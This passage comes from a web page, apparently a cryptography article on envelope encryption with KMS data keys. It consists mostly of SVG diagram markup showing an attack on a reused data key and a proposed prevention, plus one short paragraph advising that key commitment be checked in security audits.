<text text-anchor="middle" x="152" y="468" fill="currentColor">t</text>
<text text-anchor="middle" x="152" y="516" fill="currentColor">o</text>
<text text-anchor="middle" x="160" y="212" fill="currentColor">,</text>
<text text-anchor="middle" x="160" y="468" fill="currentColor">t</text>
<text text-anchor="middle" x="160" y="516" fill="currentColor">f</text>
<text text-anchor="middle" x="168" y="212" fill="currentColor">C</text>
<text text-anchor="middle" x="168" y="468" fill="currentColor">a</text>
<text text-anchor="middle" x="176" y="212" fill="currentColor">2</text>
<text text-anchor="middle" x="176" y="468" fill="currentColor">c</text>
<text text-anchor="middle" x="176" y="516" fill="currentColor">(</text>
<text text-anchor="middle" x="184" y="212" fill="currentColor">)</text>
<text text-anchor="middle" x="184" y="468" fill="currentColor">k</text>
<text text-anchor="middle" x="184" y="516" fill="currentColor">E</text>
<text text-anchor="middle" x="192" y="516" fill="currentColor">,</text>
<text text-anchor="middle" x="200" y="468" fill="currentColor">p</text>
<text text-anchor="middle" x="200" y="516" fill="currentColor">E</text>
<text text-anchor="middle" x="208" y="468" fill="currentColor">r</text>
<text text-anchor="middle" x="208" y="516" fill="currentColor">C</text>
<text text-anchor="middle" x="216" y="468" fill="currentColor">e</text>
<text text-anchor="middle" x="216" y="516" fill="currentColor">,</text>
<text text-anchor="middle" x="224" y="4" fill="currentColor">E</text>
<text text-anchor="middle" x="224" y="468" fill="currentColor">v</text>
<text text-anchor="middle" x="224" y="516" fill="currentColor">C</text>
<text text-anchor="middle" x="232" y="4" fill="currentColor">n</text>
<text text-anchor="middle" x="232" y="468" fill="currentColor">e</text>
<text text-anchor="middle" x="232" y="516" fill="currentColor">)</text>
<text text-anchor="middle" x="240" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="240" y="468" fill="currentColor">n</text>
<text text-anchor="middle" x="248" y="4" fill="currentColor">l</text>
<text text-anchor="middle" x="248" y="468" fill="currentColor">t</text>
<text text-anchor="middle" x="256" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="256" y="468" fill="currentColor">e</text>
<text text-anchor="middle" x="264" y="4" fill="currentColor">v</text>
<text text-anchor="middle" x="264" y="468" fill="currentColor">d</text>
<text text-anchor="middle" x="272" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="272" y="36" fill="currentColor">G</text>
<text text-anchor="middle" x="272" y="308" fill="currentColor">D</text>
<text text-anchor="middle" x="272" y="564" fill="currentColor">D</text>
<text text-anchor="middle" x="280" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="84" fill="currentColor">{</text>
<text text-anchor="middle" x="280" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="564" fill="currentColor">e</text>
<text text-anchor="middle" x="288" y="36" fill="currentColor">n</text>
<text text-anchor="middle" x="288" y="84" fill="currentColor">E</text>
<text text-anchor="middle" x="288" y="308" fill="currentColor">c</text>
<text text-anchor="middle" x="288" y="564" fill="currentColor">c</text>
<text text-anchor="middle" x="296" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="84" fill="currentColor">=</text>
<text text-anchor="middle" x="296" y="148" fill="currentColor">C</text>
<text text-anchor="middle" x="296" y="164" fill="currentColor">C</text>
<text text-anchor="middle" x="296" y="308" fill="currentColor">r</text>
<text text-anchor="middle" x="296" y="420" fill="currentColor">d</text>
<text text-anchor="middle" x="296" y="564" fill="currentColor">r</text>
<text text-anchor="middle" x="296" y="676" fill="currentColor">d</text>
<text text-anchor="middle" x="304" y="36" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="84" fill="currentColor">e</text>
<text text-anchor="middle" x="304" y="148" fill="currentColor">=</text>
<text text-anchor="middle" x="304" y="164" fill="currentColor">2</text>
<text text-anchor="middle" x="304" y="308" fill="currentColor">y</text>
<text text-anchor="middle" x="304" y="420" fill="currentColor">e</text>
<text text-anchor="middle" x="304" y="564" fill="currentColor">y</text>
<text text-anchor="middle" x="304" y="676" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="312" y="84" fill="currentColor">n</text>
<text text-anchor="middle" x="312" y="148" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="164" fill="currentColor">=</text>
<text text-anchor="middle" x="312" y="308" fill="currentColor">p</text>
<text text-anchor="middle" x="312" y="420" fill="currentColor">c</text>
<text text-anchor="middle" x="312" y="564" fill="currentColor">p</text>
<text text-anchor="middle" x="312" y="676" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="148" fill="currentColor">n</text>
<text text-anchor="middle" x="320" y="164" fill="currentColor">e</text>
<text text-anchor="middle" x="320" y="308" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="420" fill="currentColor">(</text>
<text text-anchor="middle" x="320" y="564" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="676" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="84" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="148" fill="currentColor">c</text>
<text text-anchor="middle" x="328" y="164" fill="currentColor">n</text>
<text text-anchor="middle" x="328" y="308" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="420" fill="currentColor">d</text>
<text text-anchor="middle" x="328" y="564" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="676" fill="currentColor">d</text>
<text text-anchor="middle" x="336" y="36" fill="currentColor">D</text>
<text text-anchor="middle" x="336" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="148" fill="currentColor">(</text>
<text text-anchor="middle" x="336" y="164" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="308" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="420" fill="currentColor">k</text>
<text text-anchor="middle" x="336" y="564" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="676" fill="currentColor">k</text>
<text text-anchor="middle" x="336" y="692" fill="currentColor">F</text>
<text text-anchor="middle" x="344" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="84" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="148" fill="currentColor">d</text>
<text text-anchor="middle" x="344" y="164" fill="currentColor">(</text>
<text text-anchor="middle" x="344" y="308" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="356" fill="currentColor">{</text>
<text text-anchor="middle" x="344" y="420" fill="currentColor">,</text>
<text text-anchor="middle" x="344" y="564" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="612" fill="currentColor">{</text>
<text text-anchor="middle" x="344" y="676" fill="currentColor">,</text>
<text text-anchor="middle" x="344" y="692" fill="currentColor">A</text>
<text text-anchor="middle" x="352" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="148" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="164" fill="currentColor">d</text>
<text text-anchor="middle" x="352" y="308" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="356" fill="currentColor">d</text>
<text text-anchor="middle" x="352" y="420" fill="currentColor">C</text>
<text text-anchor="middle" x="352" y="564" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="612" fill="currentColor">d</text>
<text text-anchor="middle" x="352" y="676" fill="currentColor">C</text>
<text text-anchor="middle" x="352" y="692" fill="currentColor">I</text>
<text text-anchor="middle" x="360" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="360" y="148" fill="currentColor">,</text>
<text text-anchor="middle" x="360" y="164" fill="currentColor">k</text>
<text text-anchor="middle" x="360" y="308" fill="currentColor">_</text>
<text text-anchor="middle" x="360" y="356" fill="currentColor">k</text>
<text text-anchor="middle" x="360" y="420" fill="currentColor">,</text>
<text text-anchor="middle" x="360" y="564" fill="currentColor">_</text>
<text text-anchor="middle" x="360" y="612" fill="currentColor">k</text>
<text text-anchor="middle" x="360" y="676" fill="currentColor">2</text>
<text text-anchor="middle" x="360" y="692" fill="currentColor">L</text>
<text text-anchor="middle" x="368" y="36" fill="currentColor">K</text>
<text text-anchor="middle" x="368" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="368" y="148" fill="currentColor">P</text>
<text text-anchor="middle" x="368" y="164" fill="currentColor">,</text>
<text text-anchor="middle" x="368" y="308" fill="currentColor">i</text>
<text text-anchor="middle" x="368" y="356" fill="currentColor">}</text>
<text text-anchor="middle" x="368" y="420" fill="currentColor">E</text>
<text text-anchor="middle" x="368" y="564" fill="currentColor">i</text>
<text text-anchor="middle" x="368" y="612" fill="currentColor">}</text>
<text text-anchor="middle" x="368" y="676" fill="currentColor">,</text>
<text text-anchor="middle" x="368" y="692" fill="currentColor">U</text>
<text text-anchor="middle" x="376" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="376" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="376" y="148" fill="currentColor">,</text>
<text text-anchor="middle" x="376" y="164" fill="currentColor">P</text>
<text text-anchor="middle" x="376" y="308" fill="currentColor">d</text>
<text text-anchor="middle" x="376" y="420" fill="currentColor">C</text>
<text text-anchor="middle" x="376" y="564" fill="currentColor">d</text>
<text text-anchor="middle" x="376" y="676" fill="currentColor">E</text>
<text text-anchor="middle" x="376" y="692" fill="currentColor">R</text>
<text text-anchor="middle" x="384" y="36" fill="currentColor">y</text>
<text text-anchor="middle" x="384" y="84" fill="currentColor">)</text>
<text text-anchor="middle" x="384" y="148" fill="currentColor">E</text>
<text text-anchor="middle" x="384" y="164" fill="currentColor">2</text>
<text text-anchor="middle" x="384" y="308" fill="currentColor">,</text>
<text text-anchor="middle" x="384" y="420" fill="currentColor">)</text>
<text text-anchor="middle" x="384" y="564" fill="currentColor">,</text>
<text text-anchor="middle" x="384" y="676" fill="currentColor">C</text>
<text text-anchor="middle" x="384" y="692" fill="currentColor">E</text>
<text text-anchor="middle" x="392" y="36" fill="currentColor">(</text>
<text text-anchor="middle" x="392" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="392" y="148" fill="currentColor">C</text>
<text text-anchor="middle" x="392" y="164" fill="currentColor">,</text>
<text text-anchor="middle" x="392" y="308" fill="currentColor">E</text>
<text text-anchor="middle" x="392" y="564" fill="currentColor">E</text>
<text text-anchor="middle" x="392" y="676" fill="currentColor">)</text>
<text text-anchor="middle" x="400" y="36" fill="currentColor">c</text>
<text text-anchor="middle" x="400" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="400" y="148" fill="currentColor">)</text>
<text text-anchor="middle" x="400" y="164" fill="currentColor">E</text>
<text text-anchor="middle" x="400" y="308" fill="currentColor">)</text>
<text text-anchor="middle" x="400" y="564" fill="currentColor">)</text>
<text text-anchor="middle" x="408" y="36" fill="currentColor">m</text>
<text text-anchor="middle" x="408" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="408" y="164" fill="currentColor">C</text>
<text text-anchor="middle" x="416" y="36" fill="currentColor">k</text>
<text text-anchor="middle" x="416" y="84" fill="currentColor">}</text>
<text text-anchor="middle" x="416" y="164" fill="currentColor">2</text>
<text text-anchor="middle" x="424" y="36" fill="currentColor">_</text>
<text text-anchor="middle" x="424" y="164" fill="currentColor">)</text>
<text text-anchor="middle" x="424" y="420" fill="currentColor">P</text>
<text text-anchor="middle" x="432" y="36" fill="currentColor">i</text>
<text text-anchor="middle" x="440" y="36" fill="currentColor">d</text>
<text text-anchor="middle" x="448" y="36" fill="currentColor">)</text>
<text text-anchor="middle" x="464" y="4" fill="currentColor">K</text>
<text text-anchor="middle" x="472" y="4" fill="currentColor">M</text>
<text text-anchor="middle" x="480" y="4" fill="currentColor">S</text>
</g>

 </svg>
 
</div>

</div>

</div>
 <figcaption><span>Figure 5: Attack on a reused DK and proposed prevention.</span></figcaption>
 </figure>
<p>Some funky attacks are possible if an algorithm without key commitment property is used with data
keys: an attacker can generate a single ciphertext that correctly decrypts under different keys.
Though this is unlikely, the key commitment should be considered as part of a security audit.</p>

<figure>
<div class="goat svg-container ">
 
 <svg xmlns="http://www.w3.org/2000/svg" font-family="Menlo,Lucida Console,monospace" viewbox="0 0 536 809">
 <g transform="translate(8,16)">
<path d="M 256,48 L 496,48" fill="none" stroke="currentColor"></path>
<path d="M 264,96 L 272,96" fill="none" stroke="currentColor"></path>
<path d="M 288,96 L 296,96" fill="none" stroke="currentColor"></path>
<path d="M 304,96 L 312,96" fill="none" stroke="currentColor"></path>
<path d="M 320,96 L 328,96" fill="none" stroke="currentColor"></path>
<path d="M 336,96 L 344,96" fill="none" stroke="currentColor"></path>
<path d="M 352,96 L 360,96" fill="none" stroke="currentColor"></path>
<path d="M 368,96 L 376,96" fill="none" stroke="currentColor"></path>
<path d="M 384,96 L 392,96" fill="none" stroke="currentColor"></path>
<path d="M 400,96 L 408,96" fill="none" stroke="currentColor"></path>
<path d="M 416,96 L 424,96" fill="none" stroke="currentColor"></path>
<path d="M 432,96 L 440,96" fill="none" stroke="currentColor"></path>
<path d="M 448,96 L 456,96" fill="none" stroke="currentColor"></path>
<path d="M 464,96 L 472,96" fill="none" stroke="currentColor"></path>
<path d="M 480,96 L 488,96" fill="none" stroke="currentColor"></path>
<path d="M 496,96 L 504,96" fill="none" stroke="currentColor"></path>
<path d="M 56,144 L 256,144" fill="none" stroke="currentColor"></path>
<path d="M 56,192 L 64,192" fill="none" stroke="currentColor"></path>
<path d="M 72,192 L 80,192" fill="none" stroke="currentColor"></path>
<path d="M 88,192 L 96,192" fill="none" stroke="currentColor"></path>
<path d="M 104,192 L 112,192" fill="none" stroke="currentColor"></path>
<path d="M 120,192 L 128,192" fill="none" stroke="currentColor"></path>
<path d="M 136,192 L 144,192" fill="none" stroke="currentColor"></path>
<path d="M 152,192 L 160,192" fill="none" stroke="currentColor"></path>
<path d="M 168,192 L 176,192" fill="none" stroke="currentColor"></path>
<path d="M 184,192 L 192,192" fill="none" stroke="currentColor"></path>
<path d="M 200,192 L 208,192" fill="none" stroke="currentColor"></path>
<path d="M 216,192 L 224,192" fill="none" stroke="currentColor"></path>
<path d="M 232,192 L 248,192" fill="none" stroke="currentColor"></path>
<path d="M 0,240 L 48,240" fill="none" stroke="currentColor"></path>
<path d="M 48,240 L 104,240" fill="none" stroke="currentColor"></path>
<path d="M 360,240 L 504,240" fill="none" stroke="currentColor"></path>
<path d="M 504,240 L 520,240" fill="none" stroke="currentColor"></path>
<path d="M 48,288 L 496,288" fill="none" stroke="currentColor"></path>
<path d="M 56,336 L 64,336" fill="none" stroke="currentColor"></path>
<path d="M 80,336 L 88,336" fill="none" stroke="currentColor"></path>
<path d="M 96,336 L 104,336" fill="none" stroke="currentColor"></path>
<path d="M 112,336 L 120,336" fill="none" stroke="currentColor"></path>
<path d="M 128,336 L 136,336" fill="none" stroke="currentColor"></path>
<path d="M 144,336 L 152,336" fill="none" stroke="currentColor"></path>
<path d="M 160,336 L 168,336" fill="none" stroke="currentColor"></path>
<path d="M 176,336 L 184,336" fill="none" stroke="currentColor"></path>
<path d="M 192,336 L 200,336" fill="none" stroke="currentColor"></path>
<path d="M 208,336 L 216,336" fill="none" stroke="currentColor"></path>
<path d="M 224,336 L 232,336" fill="none" stroke="currentColor"></path>
<path d="M 240,336 L 248,336" fill="none" stroke="currentColor"></path>
<path d="M 256,336 L 264,336" fill="none" stroke="currentColor"></path>
<path d="M 272,336 L 280,336" fill="none" stroke="currentColor"></path>
<path d="M 288,336 L 296,336" fill="none" stroke="currentColor"></path>
<path d="M 304,336 L 312,336" fill="none" stroke="currentColor"></path>
<path d="M 320,336 L 328,336" fill="none" stroke="currentColor"></path>
<path d="M 336,336 L 344,336" fill="none" stroke="currentColor"></path>
<path d="M 352,336 L 360,336" fill="none" stroke="currentColor"></path>
<path d="M 368,336 L 376,336" fill="none" stroke="currentColor"></path>
<path d="M 384,336 L 392,336" fill="none" stroke="currentColor"></path>
<path d="M 400,336 L 408,336" fill="none" stroke="currentColor"></path>
<path d="M 416,336 L 424,336" fill="none" stroke="currentColor"></path>
<path d="M 432,336 L 440,336" fill="none" stroke="currentColor"></path>
<path d="M 448,336 L 456,336" fill="none" stroke="currentColor"></path>
<path d="M 464,336 L 472,336" fill="none" stroke="currentColor"></path>
<path d="M 480,336 L 488,336" fill="none" stroke="currentColor"></path>
<path d="M 496,336 L 504,336" fill="none" stroke="currentColor"></path>
<path d="M 48,384 L 496,384" fill="none" stroke="currentColor"></path>
<path d="M 56,432 L 64,432" fill="none" stroke="currentColor"></path>
<path d="M 80,432 L 88,432" fill="none" stroke="currentColor"></path>
<path d="M 96,432 L 104,432" fill="none" stroke="currentColor"></path>
<path d="M 112,432 L 120,432" fill="none" stroke="currentColor"></path>
<path d="M 128,432 L 136,432" fill="none" stroke="currentColor"></path>
<path d="M 144,432 L 152,432" fill="none" stroke="currentColor"></path>
<path d="M 160,432 L 168,432" fill="none" stroke="currentColor"></path>
<path d="M 176,432 L 184,432" fill="none" stroke="currentColor"></path>
<path d="M 192,432 L 200,432" fill="none" stroke="currentColor"></path>
<path d="M 208,432 L 216,432" fill="none" stroke="currentColor"></path>
<path d="M 224,432 L 232,432" fill="none" stroke="currentColor"></path>
<path d="M 240,432 L 248,432" fill="none" stroke="currentColor"></path>
<path d="M 256,432 L 264,432" fill="none" stroke="currentColor"></path>
<path d="M 272,432 L 280,432" fill="none" stroke="currentColor"></path>
<path d="M 288,432 L 296,432" fill="none" stroke="currentColor"></path>
<path d="M 304,432 L 312,432" fill="none" stroke="currentColor"></path>
<path d="M 320,432 L 328,432" fill="none" stroke="currentColor"></path>
<path d="M 336,432 L 344,432" fill="none" stroke="currentColor"></path>
<path d="M 352,432 L 360,432" fill="none" stroke="currentColor"></path>
<path d="M 368,432 L 376,432" fill="none" stroke="currentColor"></path>
<path d="M 384,432 L 392,432" fill="none" stroke="currentColor"></path>
<path d="M 400,432 L 408,432" fill="none" stroke="currentColor"></path>
<path d="M 416,432 L 424,432" fill="none" stroke="currentColor"></path>
<path d="M 432,432 L 440,432" fill="none" stroke="currentColor"></path>
<path d="M 448,432 L 456,432" fill="none" stroke="currentColor"></path>
<path d="M 464,432 L 472,432" fill="none" stroke="currentColor"></path>
<path d="M 480,432 L 488,432" fill="none" stroke="currentColor"></path>
<path d="M 496,432 L 504,432" fill="none" stroke="currentColor"></path>
<path d="M 48,464 L 72,464" fill="none" stroke="currentColor"></path>
<path d="M 56,496 L 72,496" fill="none" stroke="currentColor"></path>
<path d="M 56,560 L 64,560" fill="none" stroke="currentColor"></path>
<path d="M 72,560 L 80,560" fill="none" stroke="currentColor"></path>
<path d="M 88,560 L 96,560" fill="none" stroke="currentColor"></path>
<path d="M 104,560 L 112,560" fill="none" stroke="currentColor"></path>
<path d="M 120,560 L 128,560" fill="none" stroke="currentColor"></path>
<path d="M 136,560 L 144,560" fill="none" stroke="currentColor"></path>
<path d="M 152,560 L 160,560" fill="none" stroke="currentColor"></path>
<path d="M 168,560 L 176,560" fill="none" stroke="currentColor"></path>
<path d="M 184,560 L 192,560" fill="none" stroke="currentColor"></path>
<path d="M 200,560 L 208,560" fill="none" stroke="currentColor"></path>
<path d="M 216,560 L 224,560" fill="none" stroke="currentColor"></path>
<path d="M 232,560 L 248,560" fill="none" stroke="currentColor"></path>
<path d="M 256,608 L 496,608" fill="none" stroke="currentColor"></path>
<path d="M 264,656 L 272,656" fill="none" stroke="currentColor"></path>
<path d="M 288,656 L 296,656" fill="none" stroke="currentColor"></path>
<path d="M 304,656 L 312,656" fill="none" stroke="currentColor"></path>
<path d="M 320,656 L 328,656" fill="none" stroke="currentColor"></path>
<path d="M 336,656 L 344,656" fill="none" stroke="currentColor"></path>
<path d="M 352,656 L 360,656" fill="none" stroke="currentColor"></path>
<path d="M 368,656 L 376,656" fill="none" stroke="currentColor"></path>
<path d="M 384,656 L 392,656" fill="none" stroke="currentColor"></path>
<path d="M 400,656 L 408,656" fill="none" stroke="currentColor"></path>
<path d="M 416,656 L 424,656" fill="none" stroke="currentColor"></path>
<path d="M 432,656 L 440,656" fill="none" stroke="currentColor"></path>
<path d="M 448,656 L 456,656" fill="none" stroke="currentColor"></path>
<path d="M 464,656 L 472,656" fill="none" stroke="currentColor"></path>
<path d="M 480,656 L 488,656" fill="none" stroke="currentColor"></path>
<path d="M 496,656 L 504,656" fill="none" stroke="currentColor"></path>
<path d="M 256,688 L 280,688" fill="none" stroke="currentColor"></path>
<path d="M 312,720 L 320,720" fill="none" stroke="currentColor"></path>
<path d="M 264,736 L 280,736" fill="none" stroke="currentColor"></path>
<path d="M 0,768 L 48,768" fill="none" stroke="currentColor"></path>
<path d="M 48,768 L 256,768" fill="none" stroke="currentColor"></path>
<path d="M 256,768 L 504,768" fill="none" stroke="currentColor"></path>
<path d="M 504,768 L 520,768" fill="none" stroke="currentColor"></path>
<path d="M 0,240 L 0,768" fill="none" stroke="currentColor"></path>
<path d="M 48,16 L 48,240" fill="none" stroke="currentColor"></path>
<path d="M 48,240 L 48,288" fill="none" stroke="currentColor"></path>
<path d="M 48,288 L 48,384" fill="none" stroke="currentColor"></path>
<path d="M 48,384 L 48,464" fill="none" stroke="currentColor"></path>
<path d="M 48,464 L 48,768" fill="none" stroke="currentColor"></path>
<path d="M 48,768 L 48,784" fill="none" stroke="currentColor"></path>
<path d="M 72,464 L 72,496" fill="none" stroke="currentColor"></path>
<path d="M 256,16 L 256,48" fill="none" stroke="currentColor"></path>
<path d="M 256,48 L 256,144" fill="none" stroke="currentColor"></path>
<path d="M 256,144 L 256,224" fill="none" stroke="currentColor"></path>
<path d="M 256,256 L 256,272" fill="none" stroke="currentColor"></path>
<path d="M 256,304 L 256,320" fill="none" stroke="currentColor"></path>
<path d="M 256,352 L 256,368" fill="none" stroke="currentColor"></path>
<path d="M 256,400 L 256,416" fill="none" stroke="currentColor"></path>
<path d="M 256,448 L 256,464" fill="none" stroke="currentColor"></path>
<path d="M 256,496 L 256,608" fill="none" stroke="currentColor"></path>
<path d="M 256,608 L 256,688" fill="none" stroke="currentColor"></path>
<path d="M 256,688 L 256,768" fill="none" stroke="currentColor"></path>
<path d="M 256,768 L 256,784" fill="none" stroke="currentColor"></path>
<path d="M 280,688 L 280,736" fill="none" stroke="currentColor"></path>
<path d="M 504,16 L 504,240" fill="none" stroke="currentColor"></path>
<path d="M 504,240 L 504,768" fill="none" stroke="currentColor"></path>
<path d="M 504,768 L 504,784" fill="none" stroke="currentColor"></path>
<path d="M 520,240 L 520,768" fill="none" stroke="currentColor"></path>
<path d="M 256,272 L 256,280" fill="none" stroke="currentColor"></path>
<path d="M 256,296 L 256,304" fill="none" stroke="currentColor"></path>
<path d="M 256,320 L 256,328" fill="none" stroke="currentColor"></path>
<path d="M 256,344 L 256,352" fill="none" stroke="currentColor"></path>
<path d="M 256,368 L 256,376" fill="none" stroke="currentColor"></path>
<path d="M 256,392 L 256,400" fill="none" stroke="currentColor"></path>
<path d="M 256,416 L 256,424" fill="none" stroke="currentColor"></path>
<path d="M 256,440 L 256,448" fill="none" stroke="currentColor"></path>
<polygon points="64.000000,144.000000 52.000000,138.399994 52.000000,149.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 144.000000)"></polygon>
<polygon points="64.000000,336.000000 52.000000,330.399994 52.000000,341.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 336.000000)"></polygon>
<polygon points="64.000000,432.000000 52.000000,426.399994 52.000000,437.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 432.000000)"></polygon>
<polygon points="64.000000,496.000000 52.000000,490.399994 52.000000,501.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 496.000000)"></polygon>
<polygon points="256.000000,192.000000 244.000000,186.399994 244.000000,197.600006" fill="currentColor" transform="rotate(0.000000, 248.000000, 192.000000)"></polygon>
<polygon points="256.000000,560.000000 244.000000,554.400024 244.000000,565.599976" fill="currentColor" transform="rotate(0.000000, 248.000000, 560.000000)"></polygon>
<polygon points="272.000000,96.000000 260.000000,90.400002 260.000000,101.599998" fill="currentColor" transform="rotate(180.000000, 264.000000, 96.000000)"></polygon>
<polygon points="272.000000,656.000000 260.000000,650.400024 260.000000,661.599976" fill="currentColor" transform="rotate(180.000000, 264.000000, 656.000000)"></polygon>
<polygon points="272.000000,736.000000 260.000000,730.400024 260.000000,741.599976" fill="currentColor" transform="rotate(180.000000, 264.000000, 736.000000)"></polygon>
<polygon points="328.000000,720.000000 316.000000,714.400024 316.000000,725.599976" fill="currentColor" transform="rotate(0.000000, 320.000000, 720.000000)"></polygon>
<polygon points="504.000000,48.000000 492.000000,42.400002 492.000000,53.599998" fill="currentColor" transform="rotate(0.000000, 496.000000, 48.000000)"></polygon>
<polygon points="504.000000,288.000000 492.000000,282.399994 492.000000,293.600006" fill="currentColor" transform="rotate(0.000000, 496.000000, 288.000000)"></polygon>
<polygon points="504.000000,384.000000 492.000000,378.399994 492.000000,389.600006" fill="currentColor" transform="rotate(0.000000, 496.000000, 384.000000)"></polygon>
<polygon points="504.000000,608.000000 492.000000,602.400024 492.000000,613.599976" fill="currentColor" transform="rotate(0.000000, 496.000000, 608.000000)"></polygon>
<text text-anchor="middle" x="16" y="4" fill="currentColor">A</text>
<text text-anchor="middle" x="24" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="32" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="40" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="48" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="56" y="4" fill="currentColor">k</text>
<text text-anchor="middle" x="64" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="64" y="132" fill="currentColor">s</text>
<text text-anchor="middle" x="64" y="276" fill="currentColor">E</text>
<text text-anchor="middle" x="64" y="324" fill="currentColor">{</text>
<text text-anchor="middle" x="64" y="372" fill="currentColor">E</text>
<text text-anchor="middle" x="64" y="420" fill="currentColor">{</text>
<text text-anchor="middle" x="72" y="4" fill="currentColor">r</text>
<text text-anchor="middle" x="72" y="132" fill="currentColor">t</text>
<text text-anchor="middle" x="72" y="180" fill="currentColor">(</text>
<text text-anchor="middle" x="72" y="276" fill="currentColor">n</text>
<text text-anchor="middle" x="72" y="324" fill="currentColor">E</text>
<text text-anchor="middle" x="72" y="372" fill="currentColor">n</text>
<text text-anchor="middle" x="72" y="420" fill="currentColor">E</text>
<text text-anchor="middle" x="72" y="532" fill="currentColor">(</text>
<text text-anchor="middle" x="80" y="132" fill="currentColor">o</text>
<text text-anchor="middle" x="80" y="180" fill="currentColor">E</text>
<text text-anchor="middle" x="80" y="276" fill="currentColor">c</text>
<text text-anchor="middle" x="80" y="324" fill="currentColor">2</text>
<text text-anchor="middle" x="80" y="372" fill="currentColor">c</text>
<text text-anchor="middle" x="80" y="420" fill="currentColor">3</text>
<text text-anchor="middle" x="80" y="532" fill="currentColor">E</text>
<text text-anchor="middle" x="80" y="548" fill="currentColor">i</text>
<text text-anchor="middle" x="88" y="132" fill="currentColor">r</text>
<text text-anchor="middle" x="88" y="180" fill="currentColor">,</text>
<text text-anchor="middle" x="88" y="276" fill="currentColor">r</text>
<text text-anchor="middle" x="88" y="324" fill="currentColor">=</text>
<text text-anchor="middle" x="88" y="372" fill="currentColor">r</text>
<text text-anchor="middle" x="88" y="420" fill="currentColor">=</text>
<text text-anchor="middle" x="88" y="484" fill="currentColor">C</text>
<text text-anchor="middle" x="88" y="532" fill="currentColor">2</text>
<text text-anchor="middle" x="88" y="548" fill="currentColor">n</text>
<text text-anchor="middle" x="96" y="132" fill="currentColor">e</text>
<text text-anchor="middle" x="96" y="180" fill="currentColor">C</text>
<text text-anchor="middle" x="96" y="276" fill="currentColor">y</text>
<text text-anchor="middle" x="96" y="324" fill="currentColor">e</text>
<text text-anchor="middle" x="96" y="372" fill="currentColor">y</text>
<text text-anchor="middle" x="96" y="420" fill="currentColor">e</text>
<text text-anchor="middle" x="96" y="484" fill="currentColor">2</text>
<text text-anchor="middle" x="96" y="532" fill="currentColor">/</text>
<text text-anchor="middle" x="96" y="548" fill="currentColor">s</text>
<text text-anchor="middle" x="104" y="132" fill="currentColor">(</text>
<text text-anchor="middle" x="104" y="180" fill="currentColor">)</text>
<text text-anchor="middle" x="104" y="276" fill="currentColor">p</text>
<text text-anchor="middle" x="104" y="324" fill="currentColor">n</text>
<text text-anchor="middle" x="104" y="372" fill="currentColor">p</text>
<text text-anchor="middle" x="104" y="420" fill="currentColor">n</text>
<text text-anchor="middle" x="104" y="484" fill="currentColor">=</text>
<text text-anchor="middle" x="104" y="532" fill="currentColor">E</text>
<text text-anchor="middle" x="104" y="548" fill="currentColor">t</text>
<text text-anchor="middle" x="112" y="132" fill="currentColor">E</text>
<text text-anchor="middle" x="112" y="276" fill="currentColor">t</text>
<text text-anchor="middle" x="112" y="324" fill="currentColor">c</text>
<text text-anchor="middle" x="112" y="372" fill="currentColor">t</text>
<text text-anchor="middle" x="112" y="420" fill="currentColor">c</text>
<text text-anchor="middle" x="112" y="484" fill="currentColor">k</text>
<text text-anchor="middle" x="112" y="532" fill="currentColor">3</text>
<text text-anchor="middle" x="112" y="548" fill="currentColor">e</text>
<text text-anchor="middle" x="120" y="132" fill="currentColor">,</text>
<text text-anchor="middle" x="120" y="244" fill="currentColor">D</text>
<text text-anchor="middle" x="120" y="276" fill="currentColor">(</text>
<text text-anchor="middle" x="120" y="324" fill="currentColor">(</text>
<text text-anchor="middle" x="120" y="372" fill="currentColor">(</text>
<text text-anchor="middle" x="120" y="420" fill="currentColor">(</text>
<text text-anchor="middle" x="120" y="484" fill="currentColor">e</text>
<text text-anchor="middle" x="120" y="532" fill="currentColor">,</text>
